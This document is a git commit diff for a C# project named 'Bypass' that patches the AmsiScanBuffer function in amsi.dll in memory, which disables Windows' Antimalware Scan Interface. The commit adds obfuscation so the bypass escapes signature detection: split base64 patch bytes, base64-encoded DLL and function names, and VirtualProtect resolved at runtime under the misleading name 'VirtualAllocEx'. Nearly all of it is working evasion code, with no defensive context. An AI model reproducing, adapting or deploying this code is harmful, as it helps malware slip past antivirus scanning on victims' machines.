qwqdanchun
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Bypass
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Update Program.cs

This commit is contained in:
qwqdanchun 2021-04-07 11:48:50 +08:00
parent efb8450367
commit 405cdc8fa8
1 changed files with 31 additions and 11 deletions
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42
Bypass/Program.cs
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@ -101,13 +101,17 @@ namespace qwqdanchun
//static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
static string x64 = "uFcAB4DD";
static string x86 = "uFcAB4DCGAA=";
public static void Bypass()
{
string x64 = "uFcA";
x64 = x64 + "B4DD";
string x86 = "uFcAB4";
x86 = x86 + "DCGAA=";
if (is64Bit())
PatchA(Convert.FromBase64String(x64));
else
@ -118,11 +122,13 @@ namespace qwqdanchun
{
try
{
var lib = Win32.LoadLibrary(Encoding.Default.GetString(Convert.FromBase64String("YW1zaS5kbGw=")));//Amsi.dll
var addr = Win32.GetProcAddress(lib, Encoding.Default.GetString(Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI=")));//AmsiScanBuffer
string liba = Encoding.Default.GetString(Convert.FromBase64String("YW1zaS5kbGw="));
var lib = Win32.LoadLibraryA(ref liba);//Amsi.dll
string addra = Encoding.Default.GetString(Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI="));
var addr = Win32.GetProcAddress(lib, ref addra);//AmsiScanBuffer
uint oldProtect;
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Win32.VirtualAllocEx(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
}
@ -146,13 +152,27 @@ namespace qwqdanchun
class Win32
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
//[DllImport("kernel32")]
//public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
//[DllImport("kernel32")]
//public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static readonly DelegateVirtualProtect VirtualAllocEx = LoadApi<DelegateVirtualProtect>("kernel32", Encoding.Default.GetString(Convert.FromBase64String("VmlydHVhbFByb3RlY3Q=")));//VirtualProtect
public delegate int DelegateVirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
#region CreateAPI
[DllImport("kernel32", SetLastError = true)]
public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
public static CreateApi LoadApi<CreateApi>(string name, string method)
{
return (CreateApi)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi));
}
#endregion
}
}